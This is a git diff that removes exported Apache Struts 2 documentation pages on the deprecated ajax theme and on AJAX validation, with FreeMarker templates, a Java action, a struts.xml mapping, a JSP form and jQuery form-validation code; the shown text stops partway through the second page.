-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>ajax theme</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="ui-tags.html">UI Tags</a>&nbsp;&gt;&nbsp;<a href="themes-and-templates.html">Themes and Templates</a>&nbsp;&gt;&nbsp;<a href="ajax-theme.html">ajax theme</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">ajax theme</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14205">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14205">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14205">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14205">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14205">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14205">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>The ajax theme is deprecated!</p></div></div>
-
-<p>The ajax theme extends the <a shape="rect" href="xhtml-theme.html">xhtml theme</a> with AJAX features. The theme uses the popular DOJO AJAX/JavaScript toolkit. AJAX features include:</p>
-<ul><li><a shape="rect" href="ajax-client-side-validation.html">AJAX Client Side Validation</a></li><li>Remote <a shape="rect" href="form.html">form</a> submission support (works with the <a shape="rect" href="submit.html">submit</a> tag as well)</li><li>An advanced <a shape="rect" href="div.html">div</a> template that provides dynamic reloading of partial HTML</li><li>An advanced <a shape="rect" href="a.html">a</a> template that provides the ability to load and evaluate JavaScript remot [...]
-
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> See also: <a shape="rect" href="ajax-tags.html">Ajax tags</a></p>
-
-<h2 id="ajaxtheme-BrowserCompatibility">Browser Compatibility</h2>
-
-<p>AJAX (as a technology) uses a browser-side scripting component that varies between browers (and sometimes versions). To hide those differences from the developer, we utilize the dojo toolkit (<a shape="rect" class="external-link" href="http://www.dojotoolkit.org" rel="nofollow">http://www.dojotoolkit.org</a>). Several browsers are supported by dojo, and any UI's created with the ajax theme should act the same way for supported browsers. The supported browsers are:</p>
-<ul><li>IE 5.5+</li><li>FF 1.0+</li><li>Latest Safari (on up-to-date OS versions)</li><li>Latest Opera</li><li>Latest Konqueror</li></ul>
-
-
-<h2 id="ajaxtheme-ExtendingtheAJAXTheme">Extending the AJAX Theme</h2>
-
-<p>The wrapping technique utilized by the ajax theme is much like <a shape="rect" href="xhtml-theme.html">xhtml theme</a>, but the <code>controlheader.ftl</code> is a wee bit different.</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;#if parameters.label?if_exists != ""&gt;
-	&lt;#include "/${parameters.templateDir}/xhtml/controlheader.ftl" /&gt;
-&lt;/#if&gt;
-&lt;#if parameters.form?exists &amp;&amp; parameters.form.validate?default(false) == true&gt;
-	&lt;#-- can't mutate the data model in freemarker --&gt;
-    &lt;#if parameters.onblur?exists&gt;
-        ${tag.addParameter('onblur', "validate(this);${parameters.onblur}")}
-    &lt;#else&gt;
-        ${tag.addParameter('onblur', "validate(this);")}
-    &lt;/#if&gt;
-&lt;/#if&gt;
-</pre>
-</div></div>
-
-<p>The header provides for <a shape="rect" href="ajax-client-side-validation.html">AJAX Client Side Validation</a> by checking if the <code>validate</code> attribute is set to true. If it is, a validation request is made on each <code>onblur</code> event for a HTML <a shape="rect" href="struts-tags.html">Struts Tags</a>. Some people don't like the <code>onblur</code> behavior; they would rather a more advanced timer (say, 200ms) be kicked off after every keystroke. You can override this  [...]
-
-<h2 id="ajaxtheme-SpecialInterest">Special Interest</h2>
-
-<p>Three ajax_xhtml templates of special interest are <code>head</code>, <code>div</code>, and <code>a</code>.</p>
-<div class="confluence-information-macro confluence-information-macro-tip"><span class="aui-icon aui-icon-small aui-iconfont-approve confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>Especially with the ajax theme, it is important to use the <a shape="rect" href="head.html">head</a> tag. (See the <a shape="rect" href="ajax-head-template.html">ajax head template</a> for more information.) Without it, AJAX support may not be set up properly.</p></d [...]
-<ul><li><a shape="rect" href="ajax-head-template.html">ajax head template</a></li><li><a shape="rect" href="ajax-div-template.html">ajax div template</a></li><li><a shape="rect" href="ajax-a-template.html">ajax a template</a></li></ul>
-
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> In addition to these templates, be familiar with the <a shape="rect" href="ajax-event-system.html">ajax event system</a> provided by the framework and Dojo.</p></div>
-        </div>
-
-                    <div class="tabletitle">
-                Children
-            <span class="smalltext" id="show" style="display: inline;">
-              <a href="javascript:showChildren()">Show Children</a></span>
-            <span class="smalltext" id="hide" style="display: none;">
-              <a href="javascript:hideChildren()">Hide Children</a></span>
-            </div>
-            <div class="greybox" id="children" style="display: none;">
-                                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                            </div>
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/ajax-validation.data/ValidationClientAjax.jpg b/content/docs/ajax-validation.data/ValidationClientAjax.jpg
deleted file mode 100644
index 149cfb4..0000000
Binary files a/content/docs/ajax-validation.data/ValidationClientAjax.jpg and /dev/null differ
diff --git a/content/docs/ajax-validation.data/struts2-ajax-vali-flow.png b/content/docs/ajax-validation.data/struts2-ajax-vali-flow.png
deleted file mode 100644
index 8da0331..0000000
Binary files a/content/docs/ajax-validation.data/struts2-ajax-vali-flow.png and /dev/null differ
diff --git a/content/docs/ajax-validation.html b/content/docs/ajax-validation.html
deleted file mode 100644
index 43cd880..0000000
--- a/content/docs/ajax-validation.html
+++ /dev/null
@@ -1,482 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>AJAX Validation</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="validation.html">Validation</a>&nbsp;&gt;&nbsp;<a href="client-side-validation.html">Client Side Validation</a>&nbsp;&gt;&nbsp;<a href="pure-javascript-client-side-validation.html">Pure JavaScript Client Side Validation</a>&nbsp;&gt;&nbsp;<a href="ajax-client-side-validation.html">AJAX Client S [...]
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">AJAX Validation</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13850">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13850">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13850">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13850">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13850">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13850">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="AJAXValidation-Description">Description</h2><p>Struts provides <a shape="rect" href="client-validation.html">client side validation</a>(using JavaScript) for a few validators. Using AJAX validation, all <a shape="rect" href="validation.html">validators</a> available to the application on the server side can be used without forcing the page to reload, just to show validation errors. AJAX validation has a server side, which is in included in  [...]
-    private String requiredValidatorField = null;
-    private String requiredStringValidatorField = null;
-    private Integer integerValidatorField = null;
-    private Date dateValidatorField = null;
-    private String emailValidatorField = null;
-    private String urlValidatorField = null;
-    private String stringLengthValidatorField = null;
-    private String regexValidatorField = null;
-    private String fieldExpressionValidatorField = null;
-    @Override
-    public void validate() {
-        if (hasFieldErrors()) {
-            addActionError("Errors present!");
-        }
-    }
-    public Date getDateValidatorField() {
-        return dateValidatorField;
-    }
-    @DateRangeFieldValidator(
-        min="01/01/1990", 
-        max="01/01/2000", 
-        message="must be a min 01-01-1990 max 01-01-2000 if supplied")
-    public void setDateValidatorField(Date dateValidatorField) {
-        this.dateValidatorField = dateValidatorField;
-    }
-    public String getEmailValidatorField() {
-        return emailValidatorField;
-    }
-    @EmailValidator(message="must be a valid email if supplied")
-    public void setEmailValidatorField(String emailValidatorField) {
-        this.emailValidatorField = emailValidatorField;
-    }
-    public Integer getIntegerValidatorField() {
-        return integerValidatorField;
-    }
-    @IntRangeFieldValidator(min="1", max="10", message="must be integer min 1 max 10 if supplied")
-    public void setIntegerValidatorField(Integer integerValidatorField) {
-        this.integerValidatorField = integerValidatorField;
-    }
-    public String getRegexValidatorField() {
-        return regexValidatorField;
-    }
-    @RegexFieldValidator(
-        regex="[^&lt;&gt;]+", 
-        message="regexValidatorField must match a regexp (.*\\.txt) if specified")
-    public void setRegexValidatorField(String regexValidatorField) {
-        this.regexValidatorField = regexValidatorField;
-    }
-    public String getRequiredStringValidatorField() {
-        return requiredStringValidatorField;
-    }
-    @RequiredStringValidator(trim=true, message="required and must be string")
-    public void setRequiredStringValidatorField(String requiredStringValidatorField) {
-        this.requiredStringValidatorField = requiredStringValidatorField;
-    }
-    public String getRequiredValidatorField() {
-        return requiredValidatorField;
-    }
-    @RequiredFieldValidator(message="required")
-    public void setRequiredValidatorField(String requiredValidatorField) {
-        this.requiredValidatorField = requiredValidatorField;
-    }
-    public String getStringLengthValidatorField() {
-        return stringLengthValidatorField;
-    }
-    @StringLengthFieldValidator(
-        minLength="2", 
-        maxLength="4", 
-        trim=true, 
-        message="must be a String of a specific greater than 1 less than 5 if specified")
-    public void setStringLengthValidatorField(String stringLengthValidatorField) {
-        this.stringLengthValidatorField = stringLengthValidatorField;
-    }
-    public String getFieldExpressionValidatorField() {
-        return fieldExpressionValidatorField;
-    }
-    @FieldExpressionValidator(
-        expression = "(fieldExpressionValidatorField == requiredValidatorField)", 
-        message = "must be the same as the Required Validator Field if specified")
-    public void setFieldExpressionValidatorField(
-            String fieldExpressionValidatorField) {
-        this.fieldExpressionValidatorField = fieldExpressionValidatorField;
-    }
-    public String getUrlValidatorField() {
-        return urlValidatorField;
-    }
-    @UrlValidator(message="must be a valid url if supplied")
-    public void setUrlValidatorField(String urlValidatorField) {
-        this.urlValidatorField = urlValidatorField;
-    }
-}</plain-text-body><p>&#160;</p><h3 id="AJAXValidation-MaptheAction">Map the Action</h3><p>Note that is is not necessary when using <a shape="rect" href="https://cwiki.apache.org/confluence/pages/viewpage.action?pageId=73711">Convention Plugin</a>.</p><parameter ac:name="">XML</parameter><plain-text-body>&lt;!DOCTYPE struts PUBLIC "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN" "http://struts.apache.org/dtds/struts-2.0.dtd"&gt;
-	
-&lt;struts&gt;
-    &lt;package&gt;
-         &lt;action name="ajaxFormSubmit" class="org.apache.struts2.showcase.validation.AjaxFormSubmitAction"&gt;
-             &lt;interceptor-ref name="jsonValidationWorkflowStack"/&gt;
-             &lt;result name="input"&gt;/WEB-INF/validation/ajaxFormSubmit.jsp&lt;/result&gt;
-             &lt;result type="jsonActionRedirect"&gt;ajaxFormSubmitSuccess&lt;/result&gt;
-         &lt;/action&gt;
-    &lt;/package&gt;
-</plain-text-body><p>AJAX validation is performed by the <em>jsonValidation</em> interceptor. This interceptor is included in the <em>jsonValidationWorkflowStack</em>, and is required in order to perform AJAX validation. Normal results(input, success, etc) should be provided for the action in the case that someone tries to access the action directly, in which case normal validation will be triggered. So, how does the <em>jsonValidation</em> know that it must perform AJAX validation vs re [...]
-&lt;html&gt;
-&lt;head&gt;
-    &lt;title&gt;Struts2 Showcase - Validation - AJAX Form Submit&lt;/title&gt;
-    &lt;s:head theme="xhtml"/&gt;
-&lt;/head&gt;
-&lt;body&gt;
-&lt;div class="page-header"&gt;
-    &lt;h1&gt;AJAX Form Submit&lt;/h1&gt;
-&lt;/div&gt;
-    &lt;h3&gt;Action Errors Will Appear Here&lt;/h3&gt;
-    &lt;s:actionerror theme="ajaxErrorContainers"/&gt;
-    &lt;hr/&gt;
-    &lt;s:form method="POST" theme="xhtml"&gt;
-        &lt;s:textfield label="Required Validator Field" name="requiredValidatorField" theme="ajaxErrorContainers"/&gt;
-        &lt;s:textfield label="Required String Validator Field" name="requiredStringValidatorField" theme="ajaxErrorContainers"/&gt;
-        &lt;s:textfield label="Integer Validator Field" name="integerValidatorField" theme="ajaxErrorContainers"/&gt;
-        &lt;s:textfield label="Date Validator Field" name="dateValidatorField" theme="ajaxErrorContainers"/&gt;
-        &lt;s:textfield label="Email Validator Field" name="emailValidatorField" theme="ajaxErrorContainers"/&gt;
-        &lt;s:textfield label="URL Validator Field" name="urlValidatorField" theme="ajaxErrorContainers"/&gt;
-        &lt;s:textfield label="String Length Validator Field" name="stringLengthValidatorField" theme="ajaxErrorContainers"/&gt;
-        &lt;s:textfield label="Regex Validator Field" name="regexValidatorField" theme="ajaxErrorContainers"/&gt;
-        &lt;s:textfield label="Field Expression Validator Field" name="fieldExpressionValidatorField" theme="ajaxErrorContainers"/&gt;
-        &lt;s:submit label="Submit" cssClass="btn btn-primary"/&gt;
-    &lt;/s:form&gt;
-&lt;/body&gt;
-&lt;/html&gt;&#160;</plain-text-body><p>Things to note on this JSP:</p><ul><li>The <em>form</em> tag <strong>does not</strong> have <em>validate</em> set to <em>true</em>, which would perform client validation before the AJAX validation.</li><li>It uses a customized theme <em>ajaxErrorContainers</em>. The default Struts themes generate HTML-Elements to show validation errors only if errors are present when page is created on server side. But in order to show validation errors that arrive [...]
-    Make sure element is always present. To be filled later via JS.
---&gt;
-&lt;ul&lt;#rt/&gt;
-&lt;#if parameters.id??&gt;
- id="${parameters.id?html}"&lt;#rt/&gt;
-&lt;/#if&gt;            
-&lt;#if parameters.cssClass??&gt;
- class="${parameters.cssClass?html}"&lt;#rt/&gt;
-&lt;#else&gt;
- class="errorMessage"&lt;#rt/&gt;
-&lt;/#if&gt;
-&lt;#if parameters.cssStyle??&gt;
- style="${parameters.cssStyle?html}"&lt;#rt/&gt;
-&lt;/#if&gt;
-&gt;
-&lt;#if (actionErrors?? &amp;&amp; actionErrors?size &gt; 0)&gt;
-    &lt;#list actionErrors as error&gt;
-        &lt;#if error??&gt;
-            &lt;li&gt;&lt;span&gt;&lt;#if parameters.escape&gt;${error!?html}&lt;#else&gt;${error!}&lt;/#if&gt;&lt;/span&gt;&lt;#rt/&gt;&lt;/li&gt;&lt;#rt/&gt;
-        &lt;/#if&gt;
-    &lt;/#list&gt;
-&lt;/#if&gt;
-&lt;/ul&gt;</plain-text-body><p>&#160;</p><pre>controlfooter.ftl</pre><parameter ac:name="language">xml</parameter><plain-text-body>${parameters.after!}&lt;#t/&gt;
-    &lt;/td&gt;&lt;#lt/&gt;
-&lt;/tr&gt;
-&lt;#if (parameters.errorposition!"top") == 'bottom'&gt;
-&lt;#assign hasFieldErrors = parameters.name?? &amp;&amp; fieldErrors?? &amp;&amp; fieldErrors[parameters.name]??/&gt;
-&lt;#if hasFieldErrors&gt;
-&lt;tr errorFor="${parameters.id}"&gt;
-    &lt;td class="tdErrorMessage" colspan="2"&gt;&lt;#rt/&gt;
-        &lt;#if hasFieldErrors&gt;
-            &lt;#list fieldErrors[parameters.name] as error&gt;
-                &lt;div class="errorMessage"&gt;${error?html}&lt;/div&gt;&lt;#t/&gt;
-            &lt;/#list&gt;
-        &lt;/#if&gt;
-    &lt;/td&gt;&lt;#lt/&gt;
-&lt;/tr&gt;
-&lt;/#if&gt;
-&lt;/#if&gt;
-
-</plain-text-body><p>&#160;</p><pre>controlheader-core.ftl</pre><parameter ac:name="language">xml</parameter><plain-text-body>&#160;&lt;#--
-    Always include elements to show errors. They may be filled later via AJAX.
---&gt;
-&lt;#assign hasFieldErrors = parameters.name?? &amp;&amp; fieldErrors?? &amp;&amp; fieldErrors[parameters.name]??/&gt;
-&lt;#if (parameters.errorposition!"top") == 'top'&gt;
-&lt;tr errorFor="${parameters.id}"&gt;
-    &lt;td class="tdErrorMessage" colspan="2" data-error-for-fieldname="${parameters.name}"&gt;&lt;#rt/&gt;
-        &lt;#if hasFieldErrors&gt;
-            &lt;#list fieldErrors[parameters.name] as error&gt;
-                &lt;div class="errorMessage"&gt;${error?html}&lt;/div&gt;&lt;#t/&gt;
-            &lt;/#list&gt;
-        &lt;/#if&gt;
-    &lt;/td&gt;&lt;#lt/&gt;
-&lt;/tr&gt;
-&lt;/#if&gt;
-&lt;#if !parameters.labelposition?? &amp;&amp; (parameters.form.labelposition)??&gt;
-&lt;#assign labelpos = parameters.form.labelposition/&gt;
-&lt;#elseif parameters.labelposition??&gt;
-&lt;#assign labelpos = parameters.labelposition/&gt;
-&lt;/#if&gt;
-&lt;#--
-    if the label position is top,
-    then give the label it's own row in the table
---&gt;
-&lt;tr&gt;
-&lt;#if (labelpos!"") == 'top'&gt;
-    &lt;td class="tdLabelTop" colspan="2"&gt;&lt;#rt/&gt;
-&lt;#else&gt;
-    &lt;td class="tdLabel"&gt;&lt;#rt/&gt;
-&lt;/#if&gt;
-&lt;#if parameters.label??&gt;
-    &lt;label &lt;#t/&gt;
-&lt;#if parameters.id??&gt;
-        for="${parameters.id?html}" &lt;#t/&gt;
-&lt;/#if&gt;
-&lt;#if hasFieldErrors&gt;
-        class="errorLabel"&lt;#t/&gt;
-&lt;#else&gt;
-        class="label"&lt;#t/&gt;
-&lt;/#if&gt;
-    &gt;&lt;#t/&gt;
-&lt;#if parameters.required!false &amp;&amp; parameters.requiredPosition!"right" != 'right'&gt;
-        &lt;span class="required"&gt;*&lt;/span&gt;&lt;#t/&gt;
-&lt;/#if&gt;
-${parameters.label?html}&lt;#t/&gt;
-&lt;#if parameters.required!false &amp;&amp; parameters.requiredPosition!"right" == 'right'&gt;
- &lt;span class="required"&gt;*&lt;/span&gt;&lt;#t/&gt;
-&lt;/#if&gt;
-${parameters.labelseparator!":"?html}&lt;#t/&gt;
-&lt;#include "/${parameters.templateDir}/${parameters.expandTheme}/tooltip.ftl" /&gt;
-&lt;/label&gt;&lt;#t/&gt;
-&lt;/#if&gt;
-    &lt;/td&gt;&lt;#lt/&gt;
-&lt;#-- add the extra row --&gt;
-&lt;#if (labelpos!"") == 'top'&gt;
-&lt;/tr&gt;
-&lt;tr&gt;
-&lt;/#if&gt;
-
-</plain-text-body><h3 id="AJAXValidation-CSS">CSS</h3><p>To show users some nice visual feedback while waiting for AJAX response you can use a little CSS. Remember to include the referenced <em>indicator.gif</em>.</p><parameter ac:name="language">css</parameter><plain-text-body>.ajaxVisualFeedback {
-    width: 16px;
-    height: 16px;
-    background-image: url('../images/indicator.gif');
-    background-repeat: no-repeat;
-    float: right;
-}</plain-text-body><p>&#160;</p><h3 id="AJAXValidation-JavaScript">JavaScript</h3><p>Now this is where the magic happens. Here <em>jQuery</em> is used to register an eventhandler which intercepts form submits. It takes care of hiding validation errors that might be present, submit the form via AJAX and handle JSON responses.</p><parameter ac:name="language">js</parameter><plain-text-body> /**
-  * Validates form per AJAX. To be called as onSubmit handler.
-  *
-  * @param event onSubmit event
-  */
-function ajaxFormValidation(event) {
-    event.preventDefault();
-    _removeValidationErrors();
-    var _form = $(event.target);
-    var _formData = _form.serialize(true);
-    // prepare visual feedback
-    // you may want to use other elements here
-    var originalButton = _form.find('.btn-primary');
-    // note: jQuery returns an array-like object
-    if (originalButton &amp;&amp; originalButton.length &amp;&amp; originalButton.length &gt; 0) {
-        originalButton.hide();
-        var feedbackElement = $('&lt;div class="ajaxVisualFeedback"&gt;&lt;/div&gt;').insertAfter(originalButton);
-        var restoreFunction = function() {
-            originalButton.show();
-            feedbackElement.remove();
-        }
-    }
-    var options = {
-        data: 'struts.enableJSONValidation=true&amp;struts.validateOnly=false&amp;' + _formData,
-        async: true,
-        processData: false,
-        type: 'POST',
-        success: function (response, statusText, xhr) {
-            if (response.location) {
-                // no validation errors
-                // action has been executed and sent a redirect URL wrapped as JSON
-                // cannot use a normal http-redirect (status-code 3xx) as this would be followed by browsers and would not be available here
-                // follow JSON-redirect
-                window.location.href = response.location;
-            } else {
-                if (restoreFunction) {
-                    restoreFunction();
-                }
-                _handleValidationResult(_form, response);
-            }
-        },
-        error: function(xhr, textStatus, errorThrown) {
-            if (restoreFunction) {
-                restoreFunction();
-            }
-            // struts sends status code 400 when validation errors are present
-            if (xhr.status === 400) {
-                _handleValidationResult(_form, JSON.parse(xhr.responseText))
-            } else {
-                // a real error occurred -&gt; show user an error message
-                _handleValidationResult(_form, {errors: ['Network or server error!']})
-            }
-		}
-    }
-    // send request, after delay to make sure everybody notices the visual feedback :)
-    window.setTimeout(function() {
-        var url = _form[0].action;
-        jQuery.ajax(url, options);
-    }, 1000);
-}
-/**
- * Removes validation errors from HTML DOM.
- */
-function _removeValidationErrors() {
-    // action errors
-    // you might want to use a custom ID here
-    $('ul.errorMessage li').remove();
-    // field errors
-    $('div.errorMessage').remove();
-}
-/**
